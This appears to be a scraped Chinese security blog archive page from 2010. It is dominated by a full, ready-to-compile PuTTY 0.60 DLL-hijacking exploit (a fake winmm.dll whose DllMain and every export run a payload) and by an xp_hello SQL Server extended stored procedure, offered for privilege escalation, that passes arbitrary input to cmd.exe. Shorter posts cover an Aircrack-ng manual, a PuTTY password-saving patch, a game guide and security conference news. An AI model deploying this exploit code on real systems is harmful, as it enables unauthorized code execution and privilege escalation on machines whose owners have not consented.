PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)

2010年8月26日 Chinadu 没有评论 30 views

/*

Exploit Title: PuTTY DLL Hijacking Exploit (winmm.dll)

Date: August 25, 2010

Author: storm (storm@gonullyourself.org)

Version: 0.60

Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o winmm.dll PuTTY-DLL.c -DWIN32_LEAN_AND_MEAN

PuTTY is a standalone program, so just plop the .dll in whatever directory the binary is in.

*/

#include <windows.h>

#define DllExport __declspec (dllexport)

DllExport void aux32Message() { hax(); }

DllExport void auxGetDevCapsA() { hax(); }

DllExport void auxGetDevCapsW() { hax(); }

DllExport void auxGetNumDevs() { hax(); }

DllExport void auxGetVolume() { hax(); }

DllExport void auxOutMessage() { hax(); }

DllExport void auxSetVolume() { hax(); }

DllExport void CloseDriver() { hax(); }

DllExport void DefDriverProc() { hax(); }

DllExport void DriverCallback() { hax(); }

DllExport void DrvGetModuleHandle() { hax(); }

DllExport void GetDriverModuleHandle() { hax(); }

DllExport void joy32Message() { hax(); }

DllExport void joyConfigChanged() { hax(); }

DllExport void joyGetDevCapsA() { hax(); }

DllExport void joyGetDevCapsW() { hax(); }

DllExport void joyGetNumDevs() { hax(); }

DllExport void joyGetPos() { hax(); }

DllExport void joyGetPosEx() { hax(); }

DllExport void joyGetThreshold() { hax(); }

DllExport void joyReleaseCapture() { hax(); }

DllExport void joySetCapture() { hax(); }

DllExport void joySetThreshold() { hax(); }

DllExport void mci32Message() { hax(); }

DllExport void mciDriverNotify() { hax(); }

DllExport void mciDriverYield() { hax(); }

DllExport void mciExecute() { hax(); }

DllExport void mciFreeCommandResource() { hax(); }

DllExport void mciGetCreatorTask() { hax(); }

DllExport void mciGetDeviceIDA() { hax(); }

DllExport void mciGetDeviceIDFromElementIDA() { hax(); }

DllExport void mciGetDeviceIDFromElementIDW() { hax(); }

DllExport void mciGetDeviceIDW() { hax(); }

DllExport void mciGetDriverData() { hax(); }

DllExport void mciGetErrorStringA() { hax(); }

DllExport void mciGetErrorStringW() { hax(); }

DllExport void mciGetYieldProc() { hax(); }

DllExport void mciLoadCommandResource() { hax(); }

DllExport void mciSendCommandA() { hax(); }

DllExport void mciSendCommandW() { hax(); }

DllExport void mciSendStringA() { hax(); }

DllExport void mciSendStringW() { hax(); }

DllExport void mciSetDriverData() { hax(); }

DllExport void mciSetYieldProc() { hax(); }

DllExport void mid32Message() { hax(); }

DllExport void midiConnect() { hax(); }

DllExport void midiDisconnect() { hax(); }

DllExport void midiInAddBuffer() { hax(); }

DllExport void midiInClose() { hax(); }

DllExport void midiInGetDevCapsA() { hax(); }

DllExport void midiInGetDevCapsW() { hax(); }

DllExport void midiInGetErrorTextA() { hax(); }

DllExport void midiInGetErrorTextW() { hax(); }

DllExport void midiInGetID() { hax(); }

DllExport void midiInGetNumDevs() { hax(); }

DllExport void midiInMessage() { hax(); }

DllExport void midiInOpen() { hax(); }

DllExport void midiInPrepareHeader() { hax(); }

DllExport void midiInReset() { hax(); }

DllExport void midiInStart() { hax(); }

DllExport void midiInStop() { hax(); }

DllExport void midiInUnprepareHeader() { hax(); }

DllExport void midiOutCacheDrumPatches() { hax(); }

DllExport void midiOutCachePatches() { hax(); }

DllExport void midiOutClose() { hax(); }

DllExport void midiOutGetDevCapsA() { hax(); }

DllExport void midiOutGetDevCapsW() { hax(); }

DllExport void midiOutGetErrorTextA() { hax(); }

DllExport void midiOutGetErrorTextW() { hax(); }

DllExport void midiOutGetID() { hax(); }

DllExport void midiOutGetNumDevs() { hax(); }

DllExport void midiOutGetVolume() { hax(); }

DllExport void midiOutLongMsg() { hax(); }

DllExport void midiOutMessage() { hax(); }

DllExport void midiOutOpen() { hax(); }

DllExport void midiOutPrepareHeader() { hax(); }

DllExport void midiOutReset() { hax(); }

DllExport void midiOutSetVolume() { hax(); }

DllExport void midiOutShortMsg() { hax(); }

DllExport void midiOutUnprepareHeader() { hax(); }

DllExport void midiStreamClose() { hax(); }

DllExport void midiStreamOpen() { hax(); }

DllExport void midiStreamOut() { hax(); }

DllExport void midiStreamPause() { hax(); }

DllExport void midiStreamPosition() { hax(); }

DllExport void midiStreamProperty() { hax(); }

DllExport void midiStreamRestart() { hax(); }

DllExport void midiStreamStop() { hax(); }

DllExport void mixerClose() { hax(); }

DllExport void mixerGetControlDetailsA() { hax(); }

DllExport void mixerGetControlDetailsW() { hax(); }

DllExport void mixerGetDevCapsA() { hax(); }

DllExport void mixerGetDevCapsW() { hax(); }

DllExport void mixerGetID() { hax(); }

DllExport void mixerGetLineControlsA() { hax(); }

DllExport void mixerGetLineControlsW() { hax(); }

DllExport void mixerGetLineInfoA() { hax(); }

DllExport void mixerGetLineInfoW() { hax(); }

DllExport void mixerGetNumDevs() { hax(); }

DllExport void mixerMessage() { hax(); }

DllExport void mixerOpen() { hax(); }

DllExport void mixerSetControlDetails() { hax(); }

DllExport void mmDrvInstall() { hax(); }

DllExport void mmGetCurrentTask() { hax(); }

DllExport void mmioAdvance() { hax(); }

DllExport void mmioAscend() { hax(); }

DllExport void mmioClose() { hax(); }

DllExport void mmioCreateChunk() { hax(); }

DllExport void mmioDescend() { hax(); }

DllExport void mmioFlush() { hax(); }

DllExport void mmioGetInfo() { hax(); }

DllExport void mmioInstallIOProcA() { hax(); }

DllExport void mmioInstallIOProcW() { hax(); }

DllExport void mmioOpenA() { hax(); }

DllExport void mmioOpenW() { hax(); }

DllExport void mmioRead() { hax(); }

DllExport void mmioRenameA() { hax(); }

DllExport void mmioRenameW() { hax(); }

DllExport void mmioSeek() { hax(); }

DllExport void mmioSendMessage() { hax(); }

DllExport void mmioSetBuffer() { hax(); }

DllExport void mmioSetInfo() { hax(); }

DllExport void mmioStringToFOURCCA() { hax(); }

DllExport void mmioStringToFOURCCW() { hax(); }

DllExport void mmioWrite() { hax(); }

DllExport void mmsystemGetVersion() { hax(); }

DllExport void mmTaskBlock() { hax(); }

DllExport void mmTaskCreate() { hax(); }

DllExport void mmTaskSignal() { hax(); }

DllExport void mmTaskYield() { hax(); }

DllExport void mod32Message() { hax(); }

DllExport void mxd32Message() { hax(); }

DllExport void NotifyCallbackData() { hax(); }

DllExport void OpenDriver() { hax(); }

DllExport void PlaySound() { hax(); }

DllExport void PlaySoundA() { hax(); }

DllExport void PlaySoundW() { hax(); }

DllExport void SendDriverMessage() { hax(); }

DllExport void sndPlaySoundA() { hax(); }

DllExport void sndPlaySoundW() { hax(); }

DllExport void tid32Message() { hax(); }

DllExport void timeBeginPeriod() { hax(); }

DllExport void timeEndPeriod() { hax(); }

DllExport void timeGetDevCaps() { hax(); }

DllExport void timeGetSystemTime() { hax(); }

DllExport void timeGetTime() { hax(); }

DllExport void timeKillEvent() { hax(); }

DllExport void timeSetEvent() { hax(); }

DllExport void waveInAddBuffer() { hax(); }

DllExport void waveInClose() { hax(); }

DllExport void waveInGetDevCapsA() { hax(); }

DllExport void waveInGetDevCapsW() { hax(); }

DllExport void waveInGetErrorTextA() { hax(); }

DllExport void waveInGetErrorTextW() { hax(); }

DllExport void waveInGetID() { hax(); }

DllExport void waveInGetNumDevs() { hax(); }

DllExport void waveInGetPosition() { hax(); }

DllExport void waveInMessage() { hax(); }

DllExport void waveInOpen() { hax(); }

DllExport void waveInPrepareHeader() { hax(); }

DllExport void waveInReset() { hax(); }

DllExport void waveInStart() { hax(); }

DllExport void waveInStop() { hax(); }

DllExport void waveInUnprepareHeader() { hax(); }

DllExport void waveOutBreakLoop() { hax(); }

DllExport void waveOutClose() { hax(); }

DllExport void waveOutGetDevCapsA() { hax(); }

DllExport void waveOutGetDevCapsW() { hax(); }

DllExport void waveOutGetErrorTextA() { hax(); }

DllExport void waveOutGetErrorTextW() { hax(); }

DllExport void waveOutGetID() { hax(); }

DllExport void waveOutGetNumDevs() { hax(); }

DllExport void waveOutGetPitch() { hax(); }

DllExport void waveOutGetPlaybackRate() { hax(); }

DllExport void waveOutGetPosition() { hax(); }

DllExport void waveOutGetVolume() { hax(); }

DllExport void waveOutMessage() { hax(); }

DllExport void waveOutOpen() { hax(); }

DllExport void waveOutPause() { hax(); }

DllExport void waveOutPrepareHeader() { hax(); }

DllExport void waveOutReset() { hax(); }

DllExport void waveOutRestart() { hax(); }

DllExport void waveOutSetPitch() { hax(); }

DllExport void waveOutSetPlaybackRate() { hax(); }

DllExport void waveOutSetVolume() { hax(); }

DllExport void waveOutUnprepareHeader() { hax(); }

DllExport void waveOutWrite() { hax(); }

DllExport void wid32Message() { hax(); }

DllExport void wod32Message() { hax(); }

DllExport void WOW32DriverCallback() { hax(); }

DllExport void WOW32ResolveMultiMediaHandle() { hax(); }

DllExport void WOWAppExit() { hax(); }

int hax()

{

WinExec("calc", 0);

exit(0);

return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

hax();

return 0;

}

分类: 技术文章 标签: ,

xp_hello.dll(sa) 提权

2010年8月26日 Chinadu 没有评论 57 views

来源:冰点论坛 2月

主要代码:

在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:

#include <stdafx.h>

#include <shellapi.h>

#define XP_NOERROR 0

#define XP_ERROR 1

#define MAXCOLNAME 25

#define MAXNAME 25

#define MAXTEXT 255

#ifdef __cplusplus

extern “C” {

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);

#ifdef __cplusplus

}

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)

{

/***************************** 说明 *************************

由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,

无赖之下,只好用老式的srv_paramdata

*************************************************************/

int bufLen;

DBCHAR spName[MAXNAME];

DBCHAR spText[MAXTEXT];

DBCHAR spBuf[MAXTEXT];

unsigned char cmdline[255] = “”;

if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出

bufLen = srv_paramlen(srvproc,1);

if(!bufLen) return XP_ERROR;

wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值

wsprintf(spName, “xp_hello”);

wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);

srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息

wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数

ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令

return XP_NOERROR ;

}

阅读全文...

分类: 技术文章 标签: ,

为Putty 0.6 增加SSH 密码保存且自动登录功能

2010年8月21日 Chinadu 没有评论 41 views

1、setup_config_box :
putty 的界面的处理方式是很值得研究研究的。 首先要考虑在原有的界面上把新加的输入passowrd 的文本框放在什么地方,个人认为把新加入的文本框放在原有的输入port 端口后面的文本框后面是一个比较好的选择。
修改: line :1155 行的

ctrl_columns(s, 2, 75, 25);

改为

ctrl_columns(s, 3, 50, 25,25);

后面的数字只是一个比例。
添加: line : 1165 后加入:
阅读全文...

分类: 技术文章 标签:

巫妖王之怒各大专业PVE/PVP收益全方位点评

2010年8月9日 Chinadu 没有评论 45 views
工程:
手套加速器使用增加340急速持续12秒1分钟CD(约有33法伤收益),2)披风附魔价值6法伤,3)鞋子附魔在命中溢出情况下价值7-11法伤,总体收益在46-50法伤左右
PVE收益:可以配合各种大技能开启来获取更大的收益,对使用者的手法有一定要求.火箭鞋有利于BOSS站的跑位,药水注射器略微增加回蓝量,萨钢炸弹可以拿来A小怪和打BOSS,具体增加的DPS看自己手法
PVP收益:手套加速器在竞技场集火时十分好用,炎爆手套和工程各种小玩具在战场表现也很不错,PVP首选专业
炼金
合计持续时间和增加法伤上升还有平时喝的北方合计,47法伤的收益,每天上限5分钟,100G随便挣(懒人们的大收益)
PVE收益:北方合剂在非RAID场合增加47法伤(竞技场和战场都可以喝,,当然和合计有冲突)还有个不消耗的无限小蓝瓶,1分钟CD回1800-3000蓝,其实主要还是省钱,炼金师药水随机给给各种效果(看RP吧)
PVP收益:竞技场和战场都可以随意喝的北方合剂增加47法伤,无消耗的无限小蓝小红在战场随便增加你的续航/存活时间

AirCrack的中文手册

2010年8月7日 Chinadu 没有评论 105 views

//--------------------------------------------------------------------
// AirCrack中文手册 1.0
// 翻译:GaA.Ra(zhoufan#yahoo.cn)
// 随意转载,但请保留此部分信息,谢谢
//--------------------------------------------------------------------

/************************************************************
1.AirCrack-ng
Aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, thus making the attack much faster compared to other WEP cracking tools. In fact, aircrack is a set of tools for auditing wireless networks.
Aircrack是一个802.11协议WEP和WPA-PSK密钥P解程序,能够恢复出密钥当抓取了足够的数据包的时候.它执行标准FMS攻击并提供一些优化(算法)像Korek攻击,因此相比其他WEPP解工具能够更加快的进行攻击.事实上,Aircrack是一系列的工具用以审计无线网络.
Aircrack-ng 1.0 r1645 - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe
Original work: Christophe Devine

http://www.aircrack-ng.org

usage: aircrack-ng [options] < .cap / .ivs file(s)>
使用方法: aircrack-ng [选项] < .cap 或 .ivs文件>

Common options: //命令选项
-a : force attack mode (1/WEP, 2/WPA-PSK) //设置攻击模式(1是WEP,2是WPA-PSK)
-e : target selection: network identifier //目标选择:网络标识(如TP-LINK)
-b : target selection: access point's MAC //目标选择:AP的MAC地址
-p : # of CPU to use (default: all CPUs) //使用的CPU(缺省值:全部CPU)
-q : enable quiet mode (no status output) //开启安静模式(不输出状态)
-C : merge the given APs to a virtual one //归并给的AP到一个虚拟的
-l : write key to file //把密钥key写入文件
阅读全文...

分类: 资源共享 标签:

Black Hat usa 2010 相关内容下载

2010年8月6日 Chinadu 1 条评论 161 views

内容很精彩.

ATM Hacking, GSM Hacking, SCADA Network ...

http://www.blackhat.com/html/bh-us-10/bh-us-10-archives.html

分类: 业界资讯 标签:

程序员怎么选择发展方向

2010年8月3日 Chinadu 没有评论 75 views

程序工作二三年后,基本上都会考虑自己以后怎么发展。发展的路径不外乎程序员-系统分析员-架构师-技术经理-CTO,程序员-项目组长-项目经理-项目总监-CTO,程序员-产品设计师-产品经理-CTO.哪一条发展的路线更加适合你?

程序员职业生涯发展到一定程度都会面临一个选择,是走业务+技术方向,还是选择纯钻研技术。程序员职业生涯 发展的问题,这是所有程序员都在关心的问题,未来究竟要怎么走,30岁之后还能不能再做程序员。

绝大多数程序员最终的职业目标可能都是CTO,做到CEO的人估计会比较少,也有一少部分人自己去创业创业去当老板,也有部分人说我转行去做业务 了,对于当老板的人毕竟是少数,对于转行的人来说,都不在这行做了,自然没什么好说的了。一般来说,程序员的发展基本上都会经历这么几条路径。程序员-系 统分析员-架构师-技术经理-CTO,程序员-项目组长-项目经理-项目总监-CTO,程序员-产品设计师-产品经理-CTO.

阅读全文...

分类: 心情随笔 标签:

黑帽大会:HTTPS和SSL存在安全漏洞

2010年8月3日 Chinadu 没有评论 62 views

HTTPS(安全HTTP)和SSL/TLS(安全套接层/传输层安全)协议是Web安全和可信电子商务的核心,但Web应用安全专家Robert "RSnake" Hansen和Josh Sokol在昨天的黑帽大会上宣布,Web浏览器的基础架构中存在24个危险程度不同的安全漏洞.这些漏洞基本上使HTTPS和SSL能够提供的浏览器保 护荡然无存. HTTPS对HTTP协议进行了加密,以保护用户的页面请求和Web服务器返回的页面不被窃听.SSL及后来的TLS协议允许HTTPS利用公钥加密验证Web客户端和服务器.

Hansen和Sokol指出,攻击者要利用这些漏洞,首先需要发起中间人攻击.攻击者一旦劫持了浏览器会话,就可以利用这些漏洞中的大多数对会话进行重定向,从而窃取用户凭据或者从远程秘密执行代码.

然而,两位研究人员强调,中间人攻击并不是攻击者的终极目的.

Hansen指出,“利用中间人攻击,攻击者还可以实现许多更加容易的攻击.你不得不'执行'中间人攻击,并被迫成为一个十分坚定的攻击者……然而,这还不是最坏的情况.对于电子商务应用来说,这些攻击简直是毁灭性的灾难.”
阅读全文...

分类: 业界资讯 标签: , ,

Defcon大会:伪装电话咨询 20分钟窃取企业机密

2010年8月2日 Chinadu 没有评论 76 views

财富500强中的一些企业需要升级自己的浏览器。虽然他们在这样做,但是,在内部进行一些社交工程培训也是一个好主意。社交工程黑客能够欺骗员工做或者说他们不应该做或者不应该说的事情。社交工程黑客星期五(7月30日)在Defcon大会开展的比赛中对财富500强企业进行了试验攻击,展示了如何轻而易举地让人们讲话,只要你会说恰当的谎言。

参赛者让包括微软、思科、苹果和Shell在内的大公司的IT人员透露了能够用于计算机攻击的各类信息,包括他们正在使用什么浏览器和哪一个版本的 浏览器(星期五打电话联系的前两家公司使用的是IE6)、他们使用什么软件打开PDF文件、他们的操作系统和服务包号、他们的电子邮件客户端软件、他们使 用的杀毒软件、甚至还有他们本地无线网络的名称。

前两个参赛者使这个事情看起来非常容易。
阅读全文...

分类: 业界资讯 标签:

一个偷窃数据的Android壁纸应用已经被下载百万次

2010年7月29日 Chinadu 没有评论 129 views

拉斯维加斯黑帽大会上,Lookout的安全人员指出,一个伪装成Android手机壁纸应用的偷窃个人信息程序已经被下载了百万次,它会收集您的个人资料,并将其发送到一个来自中国深圳的神秘网站imnet.us中。安全人员估计这款程序Kevin MaHaffey是由正常的壁纸应用修改而来,黑客将其上传到Android Market,希望装饰自己手机的用户因此而中招。

泄漏的数据包括浏览历史记录,短信,手机的SIM卡号码,用户识别号,语音邮件,甚至是密码,他警告称每个人都应该警惕来自手机上的威胁。

分类: 业界资讯 标签: